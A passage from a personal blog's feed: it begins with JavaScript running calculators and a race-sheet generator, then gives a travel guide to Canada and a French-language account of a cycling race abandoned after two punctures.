                        lineToParse = lineToParse.replace(toReplace, metersAtPace)
                }
                // Let's replace `10min cool-down 5'53" with 1700@5'53"` with `1700@5'53"`
                result = lineToParse.matchAll(regexMinsSecsToDistance)
                for (const match of result) {
                        const {mins, secs, pace} = match.groups
                        const toReplace = match[0]
                        const paceInSeconds = paceToSeconds(pace, "QUOTES")
                        const meters = secondsAtPaceToMeters((Number(mins) * 60) + Number(secs ?? "0"), paceInSeconds)
                        const metersAtPace = `${meters}@${pace}`
                        lineToParse = lineToParse.replace(toReplace, metersAtPace)
                }

                let segments
                if (lineToParse.includes('+')) {
                        segments = lineToParse.split(/\s?\+\s?/)
                }
                else {
                        segments = [lineToParse]
                }
                if (!segments.every(segment =&gt; segment.match(/^\d+@\d{1,2}'\d{2}"$/))) {
                        return "Line could not be parsed"
                }

                segments = segments.map(segment =&gt; {
                        let [meters, pace] = segment.split('@')
                        meters *= multiplicator
                        const paceInSeconds = paceToSeconds(pace, "QUOTES")
                        if (paceInSeconds &gt;= vt1PaceInSeconds) zone1.push(meters)
                        else if (paceInSeconds &gt;= vt2PaceInSeconds) zone2.push(meters)
                        else zone3.push(meters)

                        return `${meters}@${pace}`
                })
                return segments.join(" + ")
        })

        sessionParserResults.innerHTML = results.filter(l =&gt; l.length &gt; 0).join("\n")

        const metersInZone1 = zone1.reduce((acc, item) =&gt; acc + item, 0)
        const metersInZone2 = zone2.reduce((acc, item) =&gt; acc + item, 0)
        const metersInZone3 = zone3.reduce((acc, item) =&gt; acc + item, 0)
        const zonesResults = document.querySelector('#session_parser_zones_results')
        zonesResults.innerHTML = `Zone 1: ${metersInZone1/1000}kms&lt;br /&gt;Zone 2 (faster than ${secondsToTime(vt1PaceInSeconds).valueWithQuotes}): ${metersInZone2/1000}kms&lt;br /&gt;Zone 3 (faster than ${secondsToTime(vt2PaceInSeconds).valueWithQuotes}): ${metersInZone3/1000}kms&lt;br /&gt;&lt;button id="sessionCopy"&gt;Copy&lt;/button&gt;`

        const copyContent = async () =&gt; {
                try {
                        // Fo google spreadsheet, columns "quality kms in zone 2" and "quality kms in zone 3"
                        await navigator.clipboard.writeText(`${metersInZone2/1000}\t${metersInZone3/1000}`);
                        console.log('Content copied to clipboard');
                } catch (err) {
                        console.error('Failed to copy: ', err);
                }
        }
        document.querySelector('button#sessionCopy').onclick = copyContent
    }
    sessionParserTextarea.addEventListener('input', sessionParserInputChange)
    masInput.addEventListener('input', sessionParserInputChange)
    sessionParserInputChange()
&lt;/script&gt;

&lt;h1 id="time-and-distance-converter"&gt;Time and distance converter&lt;/h1&gt;
&lt;div id="time_and_distance_converter"&gt;
&lt;div&gt;Pace: &lt;input pattern="\d{1,2}:\d{2}" type="text" id="time_and_distance_converter_pace" placeholder="Pace" value="4:10"/&gt;&lt;/div&gt;
&lt;div&gt;What distance will I cover if I run for &lt;input type="number" step="1" id="time_to_distance_mins" value="30"/&gt; minutes and &lt;input type="number" step="1" id="time_to_distance_secs" value="0"/&gt; seconds? &lt;strong id="time_to_distance_results"&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div&gt;How much time do I need to run &lt;input type="number" step="1" id="distance_to_time" value="42195"/&gt; meters? &lt;strong id="distance_to_time_results"&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
    function timeAndDistanceConverterInputChange() {
        const pace = document.querySelector('input#time_and_distance_converter_pace').value
        if (!matchPaceFormatWithColon(pace)) return

        const paceInSeconds = paceToSeconds(pace)

        let timeInSecondsToConvert = Number(document.querySelector('input#time_to_distance_secs').value ?? '0')
        const timeInMinutesToConvert = Number(document.querySelector('input#time_to_distance_mins').value ?? '0')
        timeInSecondsToConvert += (timeInMinutesToConvert * 60)
        const timeConvertedInDistance = secondsAtPaceToMeters(timeInSecondsToConvert, paceInSeconds)
        document.querySelector('#time_to_distance_results').innerText = `${timeConvertedInDistance}m`

        const metersToConvert = Number(document.querySelector('input#distance_to_time').value ?? '0')
        const [hours, minutes, seconds] = secondsToTime(metersAtPaceToSeconds(metersToConvert, paceInSeconds))
        document.querySelector('#distance_to_time_results').innerText = hours ? `${hours}hrs ${minutes}mins ${seconds}secs` : `${minutes}mins ${seconds}secs`
    }
    document.querySelectorAll('#time_and_distance_converter input').forEach(el =&gt; {
        el.addEventListener('input', timeAndDistanceConverterInputChange)
    })
    timeAndDistanceConverterInputChange()
&lt;/script&gt;

&lt;h1 id="race-sheet"&gt;Race sheet&lt;/h1&gt;
&lt;div id="race_sheet_info"&gt;
&lt;div&gt;
        &lt;label for="race_sheet_distance"&gt;Distance:&lt;/label&gt;
        &lt;select name="race_sheet_distance" id="race_sheet_distance"&gt;
                &lt;option value="marathon"&gt;Marathon&lt;/option&gt;
                &lt;option value="half_marathon"&gt;Half-marathon&lt;/option&gt;
                &lt;option value="custom"&gt;Custom distance&lt;/option&gt;
        &lt;/select&gt;
        &lt;input type="number" step="0.1" id="race_sheet_custom_distance" placeholder="Custom distance" value="10"/&gt;
&lt;/div&gt;
&lt;div&gt;&lt;label for="race_title"&gt;Race title (optional):&lt;/label&gt; &lt;input type="text" id="race_title" name="race_title" placeholder="City, race name, etc" /&gt;&lt;/div&gt;
&lt;div&gt;&lt;label for="race_date"&gt;Race date:&lt;/label&gt; &lt;input type="date" id="race_date" name="race_date" /&gt;&lt;/div&gt;
&lt;div&gt;&lt;label for="pace_goal"&gt;Pace goal on the watch:&lt;/label&gt; &lt;input pattern="\d{1,2}:\d{2}" type="text" id="pace_goal" value="4:30"/&gt;&lt;/div&gt;
&lt;div&gt;&lt;label for="bib_number_pickup_date"&gt;Bib number pickup date and time:&lt;/label&gt; &lt;input type="datetime-local" id="bib_number_pickup_date" name="bib_number_pickup_date" /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;label for="nutrition_plan"&gt;&lt;a href="https://www.youtube.com/watch?v=COrTo5DUvuo"&gt;Nutrition&lt;/a&gt; &lt;a href="https://www.maurten.com/fuelguide/"&gt;plan&lt;/a&gt; (&lt;a href="https://youtu.be/mu7celO4IEE?t=237"&gt;your body weight in grams/hour = 75 kgs→eat 75 grams each hour&lt;/a&gt;):&lt;/label&gt;&lt;br /&gt;
&lt;textarea id="nutrition_plan" name="nutrition_plan" rows="5" cols="50"&gt;
1x Gel 100 ~15 mins avant course
1x Gel 100 toutes les 20 mins
&lt;/textarea&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;label for="todo_items"&gt;TODO items:&lt;/label&gt;&lt;br /&gt;
&lt;textarea id="todo_items" name="todo_items" rows="5" cols="50"&gt;
Une semaine avant course : couper ongles
Prévoir le trajet pour se rendre à la course le dimanche matin
Prévoir des vieux vêtements chauds d'avant course, to give away
Si je dors à l'hôtel, emmener un sharpie + repas
Recharge glucidique à partir du jeudi, boire du maltodextrine en continu
Samedi matin : shake-out run avec 1km à allure ~24h avant la course
Samedi matin : se faire une belle moustache
Samedi matin : charger montre et la reboot
Samedi midi et soir : riz, pâtes pesto rosso, patates, Speisequark. Pas de légume, pas de gras.
Samedi soir : accrocher bib number au t-shirt et tout préparer/rassembler pour être prêt à partir le dimanche matin
Samedi soir : préparer le petit déjeuner (müsli avec lait de soja, pâtes pesto rosso OU riz OU Gatosport, banane, Maurten Drink Mix)
Dimanche matin : petit-déj AU MOINS 1.5h avant la course
Dimanche matin : noter dans les mains au marqueur
  Montre en mode pace sur distance 42.75kms
  Water stations: Km 5, 10, etc
  WC: Km 5, 10, etc
Dimanche matin : vérifier pas de cailloux dans chaussures, double noeud lacets
Dimanche matin : prendre casquette, lunettes, HRM chest strap, manchons, mouchoirs 🚽 dans une poche et mini bouteille d'eau pour boire avant le départ
Dimanche matin : warm up de 2kms avant départ
&lt;/textarea&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;div id="race_sheet" style="border: 1px solid gray; padding: 10px;"&gt;
        &lt;h2 style="text-align:center"&gt;Unknown race - unknown date&lt;/h2&gt;
        &lt;p style="text-align:center;font-style:italic" id="race_sheet_subtitle"&gt;&lt;/p&gt;
        &lt;h3&gt;Pace goal on the watch = &lt;span id="race_pace_goal"&gt;?&lt;/span&gt;&lt;/h3&gt;
        &lt;ul&gt;
                &lt;li&gt;Projected finish time with no margin of error (100% accurate GPS): &lt;strong&gt;&lt;span id="race_pace_goal_finish_time"&gt;?&lt;/span&gt;&lt;/strong&gt;&lt;/li&gt;
                &lt;li&gt;Projected finish time with a &lt;span id="race_pace_goal_finish_time_margin_error"&gt;?&lt;/span&gt;&lt;/li&gt;
                &lt;li&gt;Speed: &lt;strong&gt;&lt;span id="race_pace_goal_speed"&gt;/&lt;/span&gt; km/h&lt;/strong&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Nutrition&lt;/h3&gt;
        &lt;ul id="race_sheet_nutrition"&gt;
        &lt;/ul&gt;
        &lt;h3&gt;TODO until the race&lt;/h3&gt;
        &lt;ul id="race_todo" style="list-style-type:none;"&gt;
                &lt;li id="race_bib_pickup_date_li"&gt;&lt;input type="checkbox"&gt;Bib number pickup: &lt;span id="race_bib_pickup_date"&gt;Sat 4 Mai&lt;/span&gt;&lt;/li&gt;
        &lt;/ul&gt;
&lt;/div&gt;
&lt;p&gt;&lt;button onclick="printSheet()"&gt;Print the sheet&lt;/button&gt;&lt;/p&gt;
&lt;script&gt;
    function raceSheetInputChange() {
        const preDefinedDistances = {
                'marathon': [42.195, 'Marathon'],
                'half_marathon': [21.0975, 'Half-marathon']
        }

        const raceCustomDistance = document.querySelector('#race_sheet_custom_distance')
        const raceDistance = document.querySelector('#race_sheet_distance').value
        const customRaceDistanceSelected = raceDistance === 'custom'
        raceCustomDistance.style = customRaceDistanceSelected ? '' : 'display:none';
        const [kms, label] = customRaceDistanceSelected ? [Number(raceCustomDistance.value), "Race"] : preDefinedDistances[raceDistance]

        // Sheet title and subtitle
        const dateValue = document.querySelector('#race_date').value
        const date = dateValue ? new Date(dateValue).toDateString() : 'unknown date'
        const title = document.querySelector('#race_title').value?.trim()
        let sheetTitle = label
        if (title) {
                sheetTitle += ` - ${title}`
        }
        document.querySelector('#race_sheet h2').innerText = `${sheetTitle} - ${date}`

        // Race distance
        document.querySelector('#race_sheet_subtitle').innerHTML = `${kms} kms`

        // Pace goal
        const paceGoal = document.querySelector('#pace_goal').value
        if (matchPaceFormatWithColon(paceGoal)) {
                const paceInSeconds = paceToSeconds(paceGoal)

                document.querySelector('#race_sheet #race_pace_goal').innerText = secondsToTime(paceInSeconds).valueWithQuotes
                document.querySelector('#race_sheet #race_pace_goal_finish_time').innerHTML = paceInSecondsToFinishTime(paceInSeconds, kms)
                const marginOfErrorInPercent = 1.5
                const marginOfError = ((marginOfErrorInPercent + 100) / 100).toFixed(3)
                const kmsWithError = (kms*marginOfError).toFixed(3)
                document.querySelector('#race_pace_goal_finish_time_margin_error').innerHTML = `${marginOfErrorInPercent}% margin of error (${kmsWithError} kms): &lt;strong&gt;${paceInSecondsToFinishTime(paceInSeconds, kmsWithError)}&lt;/strong&gt;`
                document.querySelector('#race_sheet #race_pace_goal_speed').innerText = paceInSecondsToSpeed(paceInSeconds)
        }

        // Nutrition
        const nutritionItems = document.querySelector('#nutrition_plan').value.split("\n").map(e =&gt; e.trim()).filter(Boolean)
        const raceNutritionList = document.querySelector('#race_sheet_nutrition')
        raceNutritionList.innerHTML = ''
        nutritionItems.forEach(line =&gt; {
                const li = document.createElement('li')
                li.innerText = line
                raceNutritionList.appendChild(li)
        })

        // TODO list
        const todoItems = document.querySelector('#todo_items').value.split("\n").map(e =&gt; e.trimEnd()).filter(Boolean)
        const raceTodoList = document.querySelector('#race_todo')
        Array.from(raceTodoList.children).forEach(li =&gt; {
                if (!li.matches('#race_bib_pickup_date_li')) {
                        li.remove();
                }
        })
        let parentLi, currentUl = raceTodoList, rootUl = raceTodoList
        todoItems.forEach(line =&gt; {
                const li = document.createElement('li')

                if (line.startsWith(' ') &amp;&amp; parentLi) {
                        if (currentUl === rootUl) {
                                currentUl = document.createElement('ul')
                                parentLi.appendChild(currentUl)
                        }
                }
                else {
                        currentUl = rootUl
                }

                li.innerHTML = `&lt;input type="checkbox"&gt;${line}`
                currentUl.appendChild(li)
                parentLi = li
        })

        // Bib pickup date
        const bibNumberPickupDateValue = document.querySelector('#bib_number_pickup_date').value
        const bibNumberPickupDate = bibNumberPickupDateValue ? new Date(bibNumberPickupDateValue) : 'unknown date'
        document.querySelector('#race_bib_pickup_date').innerText =
                typeof bibNumberPickupDate === 'string'
                ? bibNumberPickupDate
                : `${bibNumberPickupDate.toDateString()}, ${bibNumberPickupDate.toLocaleTimeString()}`
    }

    document.querySelectorAll('#race_sheet_info input, #race_sheet_info select, #race_sheet_info textarea').forEach(el =&gt; {
        el.addEventListener('input', raceSheetInputChange)
    })
    raceSheetInputChange()

    window.printSheet = () =&gt; {
        const elem = document.querySelector('#race_sheet');
        const printWindow = window.open('', 'PRINT', 'height=600,width=800');
        printWindow.document.write('&lt;html&gt;&lt;head&gt;&lt;title&gt;Race sheet&lt;/title&gt;');
        printWindow.document.write('&lt;/head&gt;&lt;body&gt;');
        printWindow.document.write(elem.innerHTML);
        printWindow.document.write('&lt;/body&gt;&lt;/html&gt;');

        printWindow.print();
        printWindow.close();

        return true;
    }
&lt;/script&gt;</content><category term="Running"></category><category term="running"></category><category term="training"></category><category term="marathon"></category></entry><entry><title>Canada</title><link href="https://romainpellerin.eu/canada.html" rel="alternate"></link><published>2024-08-11T13:30:00+02:00</published><updated>2024-08-11T13:30:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-08-11:/canada.html</id><summary type="html">&lt;p&gt;Recommendations about Canada and places to visit&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently went to Canada for the first time of my life. Boy did I like it! It was grand! Truly a beautiful country, with very friendly people. And I've only seen a tiny part of Canada!&lt;/p&gt;
&lt;p&gt;Alright, as I did in previous articles, here is a list of things to know about Canada before you get there, and then my very own recommendations on places to visit, based on my experience only.&lt;/p&gt;
&lt;h1 id="things-to-know"&gt;Things to know&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Like in the US, at a red traffic light, you can legally turn right if no car is coming from the left side, unless there's a sign saying "No right turn on red".&lt;/li&gt;
&lt;li&gt;One can pass cars on any lane, on multi-lane roads.&lt;/li&gt;
&lt;li&gt;Overall, most rules on the road are the same as in the US. Cars are generally much bigger than in Europe, but slightly smaller than in the US on average. You'll still see the occasional F150 or RAM truck.&lt;/li&gt;
&lt;li&gt;People have a tendency to drive 10 to 20km/h faster than the speed limit, and apparently &lt;a href="https://www.reddit.com/r/montreal/comments/1kho9m/how_fast_is_too_fast_on_a_quebec_highway/"&gt;cops are fine with that&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Don't stick to cities, Canada is meant to be explored through its vibrant nature.&lt;/li&gt;
&lt;li&gt;Like in the US, expect great customer service.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="montreal"&gt;Montréal&lt;/h1&gt;
&lt;p&gt;Great city! People are extremely relaxed and chill. You won't hear any honking. Drivers, cyclists and pedestrians are very respectful of one another. Not much traffic, and no one is speeding. There are plenty of bike lanes. The city is beautiful, especially the Plateau-Mont Royal neighborhood.&lt;/p&gt;
&lt;p&gt;You'll find plenty of water fountains in the city, mostly in parks.&lt;/p&gt;
&lt;p&gt;Through traffic is blocked off in many neighborhoods, making the city rather quiet. In summer, they also close down many streets, giving them back to pedestrians and cyclists only. The city is pretty green, you'll see many many trees and parks.&lt;/p&gt;
&lt;p&gt;Bixi is a great way to get around, it's their bicycle sharing system. It's pretty expensive though, and there is no day pass. Bixi is very popular among the locals.&lt;/p&gt;
&lt;p&gt;In Montreal, buildings and houses are not very high, usually 2 to 3 floors, expect for downtown (the business center).&lt;/p&gt;
&lt;p&gt;I've been told that anyone is allowed to enter any restaurant and use their washroom even if they are not customers/not eating. But I could not verify this information online.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/montreal-mont-royal.jpg" alt="The Montréal Skyline as seen from Mont Royal" /&gt;
&lt;figcaption&gt;The Montréal Skyline as seen from Mont Royal&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;There is not so much to do in Montreal, 3 full days should be enough to see it all. Here are a few things to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;La Banquise (994 Rue Rachel E): go eat a poutine!&lt;/li&gt;
&lt;li&gt;Mont Royal: great to run or cycle all the way to the top!&lt;/li&gt;
&lt;li&gt;From May to October, Piknic Électronik at Parc Jean-Drapeau, on the weekend, really nice!&lt;/li&gt;
&lt;li&gt;F1 race track "Circuit Gilles Villeneuve" (I did not get to see it): one can cycle there most days of the year&lt;/li&gt;
&lt;li&gt;The Vieux Port and its piers&lt;/li&gt;
&lt;li&gt;Notre-Dame Basilica of Montreal&lt;/li&gt;
&lt;li&gt;La Fontaine Park&lt;/li&gt;
&lt;li&gt;Saint Denis Street and Ave Mont-Royal (closed in summer) are nice to explore, they have fancy shops&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/montreal-rue-saint-denis.jpg" alt="Rue Saint-Denis" /&gt;
&lt;figcaption&gt;Rue Saint-Denis in Montréal&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/montreal-basilique.jpg" alt="Inside Notre-Dame Basilica of Montreal" /&gt;
&lt;figcaption&gt;Notre-Dame Basilica of Montreal&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="quebec-the-province-and-the-city"&gt;Québec (the province and the city)&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/quebec-fairmont.jpg" alt="Fairmont Le Château Frontenac" /&gt;
&lt;figcaption&gt;Fairmont Le Château Frontenac&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/quebec-chutes-montmorency.jpg" alt="Montmorency Falls" /&gt;
&lt;figcaption&gt;Montmorency Falls, its bridge, the zipline and the stairs&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ul&gt;
&lt;li&gt;Québec city: go walk on the Dufferin Terrace, see the Rue de Petit Champlain (I missed this!), explore the surroundings of The Citadelle of Québec and then head out to visit the Montmorency Falls by riding a local bus. 6 hours is enough to see it all (Montmorency Falls included).&lt;/li&gt;
&lt;li&gt;Parc Oméga: a park that one can enter only with a car. You'll see many different species of animals: bears, mooses, buffalos, wolves, etc. Quite fun to do, if I'm honest. You can bring carrots and feed some animals (not all of them). You can also buy the carrots there. Plan at least 4 hours.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/parc-omega.jpg" alt="Parc Oméga" /&gt;
&lt;figcaption&gt;People feeding deers&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="algonquin-provincial-park"&gt;Algonquin Provincial Park&lt;/h1&gt;
&lt;p&gt;To me, the highlight of the trip! We spent 3 nights camping in this park: two nights at the Rock Lake Campground, and one night alone on Rose Island, that we reached after a little less than an hour of canoeing (rental canoes). Wonderful!&lt;/p&gt;
&lt;p&gt;Staying overnight in the Algonquin Park requires a permit than can easily be bought online. Same for the campground, it's easy to book a spot online. When you show up, there is no reception or whatever, you just go to your designated spot.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/canada-bears.jpg" alt="A sign that warns about bears" /&gt;
&lt;figcaption&gt;When entering the campground, you are greeted by signs than say you might encounter bears. 😱&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Along the shores of Rock Lake or on its islands, a few (8 I think) areas have been designated for campers to set camp. If campsites are unoccupied, you may stop and spend one or multiple nights.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/rose-island-algonquin.jpg" alt="A view on the lake from Rose Island" /&gt;
&lt;figcaption&gt;Our campsite on Rose Island&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/canada-campsites.jpg" alt="A typical backcountry campsite layout" /&gt;
&lt;figcaption&gt;A typical backcountry campsite. Hanging food up a tree in a closed bag is required, to keep bears away.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;In the park, there are many many trails for all levels. Some of them will offer great viewpoints.&lt;/p&gt;
&lt;h1 id="niagara-falls"&gt;Niagara Falls&lt;/h1&gt;
&lt;p&gt;Before going, I had been told multiple times that it was overrated. Truth is, it's not! The city they built next to it is non sense though, that I'll admit. But the falls themselves, and the little boat trip to the core of the falls are 100% worth it.&lt;/p&gt;
&lt;p&gt;The are actually two falls: the American falls, with bolders at their bottom, and the Canadian ones, nicknamed the Horseshoe Falls, due to their shape. The boat trip will take you to both but will stay longer at the Canadian ones, the most impressive ones to be fair.&lt;/p&gt;
&lt;p&gt;There are two boats companies that operate those tours, one from the Canadian side (you'll get a red poncho), the other from the US side (people get a blue poncho). They take turns and go one after the other. A trip lasts about 15 minutes.&lt;/p&gt;
&lt;p&gt;One can cross the US-Canada border through a bridge, on foot or in a car, with a valid Visa or ESTA of course.&lt;/p&gt;
&lt;p&gt;Like I wrote above, the city of Niagara Falls is a joke, I guess they tried to build a copy of Las Vegas here. At night, it's buzzing with thousands of people roaming the streets. There are many attractions to do, like a roller coaster on top of a Burger King, a go-kart track, a ferris wheel, a haunted house, and many many others. All of that is really only located on two streets: Clifton Hill and Victoria Ave. It's fun though!&lt;/p&gt;
&lt;p&gt;To observe both waterfalls from a high point of view, they built the Skylon Tower. With hindsight, I would probably have liked to do it. But most tourists (like us!) enjoy the falls from the sidewalk along Niagara River Parkway for free, there is a long promenade that offers an amazing view. And at night, both falls are lit up in color illuminations. The light show lasts until late in the night.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/canada/niagara-falls.jpg" alt="The Niagara Falls at night" /&gt;
&lt;figcaption&gt;The light show on the Horseshoe Falls, early evening&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;In summer, there are fireworks every night launched near the Canadian falls.&lt;/p&gt;
&lt;h1 id="toronto"&gt;Toronto&lt;/h1&gt;
&lt;p&gt;There is absolutely nothing to see in Toronto. We stayed half a day there and I have a feeling I've seen most landmarks. Riding their "Bike Share Toronto" bikes made it easier and faster of course.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We went to the bottom of the CN Tower. Probably the view from up there is nice.&lt;/li&gt;
&lt;li&gt;Go check out the Toronto Sign for a nice souvenir photo&lt;/li&gt;
&lt;li&gt;Yonge-Dundas Square, the Times Square of Toronto&lt;/li&gt;
&lt;li&gt;Go explore the Distillery District (and do yourself a favor and get an ice cream 😋 from &lt;a href="https://maps.app.goo.gl/Xx7EwnLyDnyknJhz5"&gt;Scooped by Demetres&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course they are plenty of activities to do, like museums or the aquarium, but nothing out of the ordinary, nothing at the scale of The Louvre nor MoMa.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Canada was awesome, go see it for yourself! 😃&lt;/p&gt;</content><category term="Travels"></category><category term="canada"></category><category term="travel"></category></entry><entry><title>Récit d'une course inachevée</title><link href="https://romainpellerin.eu/recit-d-une-course-inachevee.html" rel="alternate"></link><published>2024-08-05T18:00:00+02:00</published><updated>2024-08-07T19:52:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-08-05:/recit-d-une-course-inachevee.html</id><summary type="html">&lt;p&gt;Une course de vélo qui finit en DNF&lt;/p&gt;</summary><content type="html">&lt;p&gt;Les conditions étaient presque toutes réunies pour une belle course. En ce dimanche 4 août 2024, hier donc, je participais pour la troisième fois à la course sur route &lt;a href="https://velocity.berlin/"&gt;VeloCity&lt;/a&gt; à Berlin : 100kms dans Berlin, avec une bonne partie en dehors de la ville, sur routes fermées, quelques milliers de participants, départ et arrivée au milieu du Tiergarten. Bref, une belle course en vue.&lt;/p&gt;
&lt;p&gt;Au réveil, peu après 8h, il pleut. Peu certes, mais il pleut. Je regarde le radar de pluie, cela devrait bien s'arrêter. Le départ est prévu à 9h30. J'ai bien dormi, étonnemment, presque 8 heures de sommeil, aucun stress, je connais la course, c'est la troisième fois.&lt;/p&gt;
&lt;p&gt;Petit déj copieux, pâtes pesto, flocons d'avoine et lait de soja, barres de céréales. Je pars de chez moi juste avant 9h, les poches arrières pleins de gels et barres énergétiques, et je rentre dans mon sas de départ à 9h25, pile à l'heure, sas B. La pluie a cessé mais la route est trempée, tant pis, c'est mieux que de se prendre une saucée. Je me remets juste du COVID (ou autre maladie similaire), le weekend d'avant j'ai eu de la fièvre pendant 3 jours et un maxi rhume, qui aura trainé jusqu'à 2 jours avant la course. Mais tout va bien je suis en forme, mon dernier gros ride test remonte à jeudi (3 jours plus tôt), plus de 60 kilomètres à 31.5 km/h de moyenne en solo.&lt;/p&gt;
&lt;p&gt;Top! le départ est donné. Je suis pas encore hyper hyper dans la course mais ça vient. Principalement car j'ai vraiment aucun stress, je sais à quoi m'attendre. Je veux seulement améliorer mon temps de l'année dernière. Les premiers kilomètres passent, on sort de la ville et on rentre dans Grunewald, et moi je rentre dans ma course petit à petit. Je prends des roues, souvent les mêmes. On est nombreux. Je reste avec ceux de mon sas de départ, ça roule plutôt bien, plus de 40 km/h de moyenne sur le compteur, la course est bien lancée. Les jambes sont très bonnes, j'arrive à relancer et me replacer dans le peloton regulièrement, plutôt vers l'avant, c'est jamais bon d'être à l'arrière en cas de chute.&lt;/p&gt;
&lt;p&gt;Je me fais la reflexion que je vois beaucoup de gens arrêtés sur le côté, en train de pomper ou démonter une roue. Alors qu'il n'y a qu'un sas qui est parti avant moi, donc pas beaucoup de gens. Je me dis que ça doit vraiment être relou quand même. Ça ne m'est jamais arrivé sur une course.&lt;/p&gt;
&lt;p&gt;Km 15, en plein milieu de Grunewald, je suis au milieu de mon bunch. J'avais pour le moment plutôt roulé sur le côté du groupe, pas au milieu. Je me place au milieu, je sais pas trop pourquoi. Au bout de quelques mètres, je me dit que la sensation est étrange, comparé à quand j'étais sur le côté du groupe, une bonne impression de rouler moins vite, sûrement car moins de vent en direct sur moi. Au bout de quelques secondes, je décide quand même de check ma roue arrière, on sait jamais. Alors que je penche la tête, bonne grosse sensation de "déraper" de l'arrière train. Pas manqué, j'ai bien crevé de la roue arrière. S'il fallait un début à tout, voici ma première crevaison sur course.&lt;/p&gt;
&lt;p&gt;Je décide donc de m'arrêter sur le côté, je fais signe aux autres et me décale progressivement, en securité, puis m'arrête. Je change la chambre à air en 13 minutes chrono, j'ai pris le soin de compter. J'ai bien vérifié dans mon pneu, rien trouvé de saillant. Je ne trouve pas de bout de verre ou truc piquant. La route étant trempée, tout est dégeulasse, plein d'hydrocarbures et autres saletés. Mes mains sont noires après la réparation, dégeus. Je rage intérieurement, mon entrain bien entamé. Je repars. Pas réussi à remettre plus de 4 bars (je pense), avec ma petite pompe, tant pis. Rapidement, je me fais à l'évidence : mon groupe est à des années lumières de moi, j'ai été rattrapé par le sas D, E voire même F, l'allure n'est pas la même (et l'allure des cyclistes et de leurs vélos non plus 😆). Je passe de suiveur à leader, je suis plus rapide que tout le monde, ça va être dur de prendre des roues, par contre les autres ne se privent pas de mon aspiration, ils auraient tord !&lt;/p&gt;
&lt;p&gt;Je ne suis plus du tout dans la course, mais alors plus du tout. Je rage carrément. Je me dit que ça va revenir, je vais bien retrouver un groupe.&lt;/p&gt;
&lt;p&gt;Dans la panique, après la réparation, j'ai mal refermé ma sacoche de selle. Au bout de 10 kms, quelqu'un me le fait remarquer. Complétement à l'ouest, j'oublie que je suis dans une course, je commence à freiner sans prévenir et me déporter sur le côté, on me le fait remarquer en me hurlant dessus à plus de 35 km/h, fair enough, c'est ma faute, sorry. Je m'arrête, referme la sacoche, remarque au passage que mon multitool s'est fait la malle, fuck va falloir en racheter un, je l'aimais bien, fait chier...&lt;/p&gt;
&lt;p&gt;Ça repart. Là, autant dire que je ne suis plus du tout dans la course. Je subis et surtout je suis hors de moi. Bon allez oublie, les jambes sont hyper bonnes, j'appuie tant que je peux, je remonte beaucoup de gens, derrière moi ça ne suit pas, en même temps je suis avec des gens d'un tout autre niveau.&lt;/p&gt;
&lt;p&gt;On sort de Grunewald et retourne dans une agglomération, au sud de Berlin. J'aperçois une poubelle, je jette à son pied ma chambre à air crevée que je me trimballais dans la main depuis tout à l'heure. Enfin ! Je pédale je pédale, à l'arrière c'est pas hyper gonflé je le sens mais ça roule... enfin je croyais. Au km 29, à nouveau une sensation cheloue à l'arrière, ça "bouge". Coup d'oeil, PUTAIN c'est encore crevé !!!&lt;/p&gt;
&lt;p&gt;Nom de dieu, fait chier ! Je m'arrête et prends quelques secondes pour évaluer mes options. Rapidement j'arrive à la conclusion que c'est fini pour moi. DNF. &lt;em&gt;Did not finish&lt;/em&gt;. Je n'ai plus de chambre à air, et je vais pas commencer à patcher ma chambre à air avec une rustine maintenant, avec l'état de la route, de mon vélo et de mes mains. Sur une course de 2h30, ça n'en vaut pas la peine. Sur un IronMan pourquoi pas mais là clairement... En plus, the fun is gone, j'ai plus aucun plaisir. Je rage de ouf, c'est tout.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/velocity-2024.jpg" alt="A photo of my bike next to a Nextbike" /&gt;
&lt;figcaption&gt;Mon vélo, pneu arrière à plat, à côté du Nextbike qui m'emmènera au S-Bahn&lt;/figcaption&gt;
&lt;/figure&gt;

